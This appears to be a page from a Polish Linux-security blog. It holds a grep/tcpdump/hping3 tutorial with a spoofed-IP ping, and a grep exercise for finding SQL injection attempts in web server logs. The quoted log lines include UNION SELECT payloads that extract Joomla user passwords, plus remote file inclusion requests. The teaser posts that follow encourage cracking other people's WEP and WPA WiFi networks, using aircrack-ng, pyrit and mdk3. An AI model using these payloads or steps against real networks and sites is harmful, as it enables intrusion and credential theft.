W tym dziale zademonstruję działanie 3 programów: grep, tcpdump i hping3. hping3 będzie wysyłał pakiety z zespoofowanym adresem IP(mój adres to 192.168.1.2 nie ma sensu go pokazywać, chcę odfiltrować to czego jest mniej i nad czym mam kontrolę więc sam stworze pakiety, które zaraz zobaczymy), tcpdump będzie je chwytał, a grep pokazywał tylko te linijki w których pokaże się oszukany adres IP.

W mojej sieci adres 192.168.1.5 nie istnieje, a będę podawał się właśnie za niego, wysyłając ping do komputera 192.168.1.3, mój adres to 192.168.1.2

Komenda, którą włączymy wysyłanie fałszywych pakietów ICMP echo reqest w hping3 to:
hping3 -a 192.168.1.5 192.168.1.3

W oknie programu tcpdump wykonałem polecenie jak poniżej i otrzymałem także poprawny wynik:

root@ASUS-PC:/home/agilobable# tcpdump -i wlan0 -v | grep 192.168.1.5
tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 96 bytes
192.168.1.3.2225 > 192.168.1.5.0: Flags [none], cksum 0x6c6a (correct), win 512, length 0
192.168.1.3.2226 > 192.168.1.5.0: Flags [none], cksum 0x3cb1 (correct), win 512, length 0
192.168.1.3.2227 > 192.168.1.5.0: Flags [none], cksum 0x2795 (correct), win 512, length 0
192.168.1.3.2228 > 192.168.1.5.0: Flags [none], cksum 0x51f4 (correct), win 512, length 0
192.168.1.3.2229 > 192.168.1.5.0: Flags [none], cksum 0xbe57 (correct), win 512, length 0

Jednak zobaczmy co się stanie gdy z komendy usunę część grepa (w tym czasie trwa rozmowa na skype):

root@ASUS-PC:/home/agilobable# tcpdump -i wlan0 -v
tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 96 bytes
21:31:36.731256 IP (tos 0x0, ttl 117, id 52372, offset 0, flags [none], proto UDP (17), length 130)
host-212-67-144-143.cable.net-inotel.pl.36356 > ASUS-PC.local.33094: UDP, length 102
21:31:36.731708 IP (tos 0x0, ttl 64, id 16579, offset 0, flags [DF], proto UDP (17), length 70)
^C ASUS-PC.local.42925 > 192.168.1.1.domain: 216+ PTR? 2.1.168.192.in-addr.arpa. (42)
...
za dużo tego by pokazywać tutaj
...
951 packets captured
1856 packets received by filter
0 packets dropped by kernel

Na zakończenie, spróbuj odgadnąć jaki wynika da to polecenie:

curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]+"

Artykuł napisany dla cierpiącego w agonii jakilinux.org

Ende.

—–====Update 1.1====—–

Na komentarz widma dodaję punkt z opisem funkcji -C n, który użyjemy do sprawdzenia czy w logach serwera http są jakieś zapiski o próbie użycia techniki SQLi do wyciągnięcia poufnych danych.

Komentarz: żeby wykonać SQL injection potrzebna jest komenda union select z funkcji MySQL, to właśnie po niej zorientujemy się czy doszło do ataku.

Oto przykładowy plik z logami znaleziony w Google, w którym gdzieś tam jest użycie funkcji union select.

agilob@Asus-PC:~$ cat logi | grep -C 1 -m 2 “union”

polecenie to wyświetli cały plik z logami, grep’em przefiltruje potrzebne nam linijki z wyrazem “union“, poszuka pierwszej takiej linijki, i wyświetli jedną przed i jedną za tą znalezioną i będzie szukało 2 takich wypadków (próby “włamania”). Pomoże to ustalić, który element aplikacji jest dziurawy i jak został przeprowadzany atak, jeśli wyświetlimy więcej linijek.

72.94.249.37 – – [24/Jan/2010:23:27:43 -0500] “GET / HTTP/1.1” 200 1190 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)” “www.querecho.com”
 
74.55.15.194 – – [24/Jan/2010:23:29:58 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834” “www.mikeadewole.com”
 
74.55.15.194 – – [24/Jan/2010:23:29:58 -0500] “GET /parked-20091029.log/index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1” 404 227 “-” “libwww-perl/5.834” “www.mikeadewole.com”

W tym wypadku wyświetliło jeden określony przez nas wynik (a przecież -m 2 powinno zwracać dwa!), wyświetliło jeden, ponieważ w 3 linijce za tą znalezioną też występuje słowno union, więc tak naprawdę wyświetliło dwa określone wyrażenia, jedno jest tym środkowym, a drugie to jest to ostatnie wyświetlone, program grep spełnił w ten sposób dwa warunki podane przez użytkownika jednocześnie. Gdy usuniesz -m 2 program pokaże wszystkie linijki ze słowem union, czyli tyle:

72.94.249.37 – – [24/Jan/2010:23:27:43 -0500] “GET / HTTP/1.1” 200 1190 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)” “www.querecho.com”
74.55.15.194 – – [24/Jan/2010:23:29:58 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834” “www.mikeadewole.com”
74.55.15.194 – – [24/Jan/2010:23:29:58 -0500] “GET /parked-20091029.log/index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1″ 404 227 “-” “libwww-perl/5.834” “www.mikeadewole.com”
74.55.15.194 – – [24/Jan/2010:23:30:25 -0500] “GET /parked-20091113.log/index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1″ 404 227 “-” “libwww-perl/5.834” “www.mikeadewole.com”
74.55.15.194 – – [24/Jan/2010:23:31:04 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/* HTTP/1.1″ 404 207 “-” “libwww-perl/5.834” “www.querecho.com”
69.73.144.187 – – [24/Jan/2010:23:33:34 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831” “www.mikeadewole.com”
69.73.144.187 – – [24/Jan/2010:23:34:13 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831” “www.querecho.com”
69.73.144.187 – – [24/Jan/2010:23:43:24 -0500] “GET /parked-20091029.log
/index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/*’ HTTP/1.1″ 404 227 “-” “libwww-perl/5.831” “www.mikeadewole.com”
 
69.73.144.187 – – [24/Jan/2010:23:43:25 -0500] “GET /index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/*’ HTTP/1.1″ 404 207 “-” “libwww-perl/5.831” “www.mikeadewole.com”
 
67.195.111.174 – – [24/Jan/2010:23:44:37 -0500] “GET /pipermail/botsl-updates/Week-of-Mon-20070702/015691.html HTTP/1.0” 404 254 “-” “Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)” “www.adequest.ca”

118.223.225.130 – – [24/Jan/2010:23:58:32 -0500] “GET ///administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://musicadelibreria.net/footer?? HTTP/1.1” 404 248 “-” “Mozilla/5.0” “www.mikeadewole.com”
69.73.144.187 – – [24/Jan/2010:23:59:34 -0500] “GET /parked-20091113.log/index.php?option=com_pccookbook&page=viewuserrecipes&user_id=-9999999/**/union/**/select/**/concat(username,0%D73a,password)/**/from/**/jos_users/*’ HTTP/1.1″ 404 227 “-” “libwww-perl/5.831” “www.mikeadewole.com”
203.253.25.15 – – [25/Jan/2010:00:13:50 -0500] “GET ////twindow_notice.php?board_skin_path=http://med.buu.ac.th///components/com_mylink/son1.txt? HTTP/1.1” 404 216 “-” “Mozilla/5.0” “www.mikeadewole.com”

W każdym z przypadków trzymając się polecenia, podając jeden wynik przed i jeden za znalezioną linijką, daje to obraz, kto w czasie ataku przeglądał stronę.

—-====Update 1.2====—-

Grep jako szybka szukajka plików na dysku.

Dlaczego jako szukajka?

Bo przefiltrowanie wyników z polecenia find / będzie działało jak szujakja.

Dlaczego szybka? Bo nie wyświetla wszystkich wyników tylko te potrzebne, te potrzebne trafiają na std out.

Załóżmy, że chcemy znaleźć wszystkie pliki deb, używane instalowane ostatnio na naszym PC i usunąć je:

root@vshellz:~# find /  | grep i386.deb/var/cache/apt/archives/erlang-crypto_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/odbcinst_2.2.14p2-1_i386.deb/var/cache/apt/archives/lksctp-tools_1.0.11+dfsg-1_i386.deb/var/cache/apt/archives/erlang-runtime-tools_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-inets_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-asn1_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-public-key_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-syntax-tools_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-base_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/erlang-ssl_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/unixodbc_2.2.14p2-1_i386.deb/var/cache/apt/archives/erlang-mnesia_1%3a14.a-dfsg-3_i386.deb/var/cache/apt/archives/odbcinst1debian2_2.2.14p2-1_i386.deb/var/cache/apt/archives/ejabberd_2.1.5-3+squeeze1_i386.deb/var/cache/apt/archives/libsctp1_1.0.11+dfsg-1_i386.deb/var/cache/apt/archives/erlang-odbc_1%3a14.a-dfsg-3_i386.deb

[WiFi] – WEP Cracking

Skoro już trafiłeś na tę stronę to pewnie masz jakiś niecny plan.

To zobacz, jak łatwo jest włamać się do sieci WiFi zabezpieczanej przez WEP.

Zgaduję, że zamierzasz włamać się do sieci WiFi (czyt. łaj-faj), zabezpieczonej protokołem z kluczem WEP, ale nie masz zielonego pojęcia jak się do tego zabrać.

Co musisz mieć przygotowane:

  • Linux
  • aircrack-ng
  • karta WiFi

Przejdź na konto root.
Continue reading

[WiFi] – Pyrit + brute-force? Jasne!

Oto jak odzyskiwać hasło do sieci WPA+ używając pyrita, lecz nie metodą słownikową, a próbą ataku brute-force.
Pokazywałem już jak zainstalować pyrita, więc zaczniemy od razu od tego jak wykonać metodę brute-force.
Żeby móc atakować brute forcem, wypadałoby mieć program, który wygeneruje wszystkie hasła z danego zbioru znaków, najczęściej używanym jest crunch stworzony przez grupę DarkC0de.
Continue reading

[WiFi] – Obsługa programu MDK3

Jednym z ciekawych programów do ataków na sieci bezprzewodowe jest opisany już w kompendium DDoS program mdk3. Służy on do wielu ataków na sieci bezprzewodowe.

Program do nabycia jest tutaj. Program należy rozpakować i zainstalować z poziomu roota:

make && make install

Pełna pomoc dotycząca programu wygląda mniej-więcej tak:
Continue reading

[WiFi] – Łapanie Hand-Shake WPA

WPA2/PSK TKIP jest już silniejszym zabezpieczeniem niż WEP i WPA, dostanie się do zabepieczonej sieci zajmie nam dużo więcej czasu niż w przypadku WEP.

Zobaczysz tutaj, jak łatwo odzyskać hasło z sieci bezprzewodowej chronionej przez WPA/WPA2.

Pierwsze co, aby móc zaatakować klucz musisz przechwycić coś co nazywa się 4-way handshake, czyli 4-stopniowe podawanie ręki. W nim zapisany jest klucz dostępu do sieci, zaszyfrowany oczywiście i to właśnie ten klucz musimy złamać by podkradać komuś Internety.

Przełącz kartę sieciową w tryb monitor, zrób to używając airmon-ng.

airmon-ng start wlan0
Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
1150 avahi-daemon
1152 NetworkManager
1154 avahi-daemon
1324 wpa_supplicant
 
Interface Chipset Driver
 
wlan0 Atheros ath9k - [phy0]
(monitor mode enabled on mon0)

Continue reading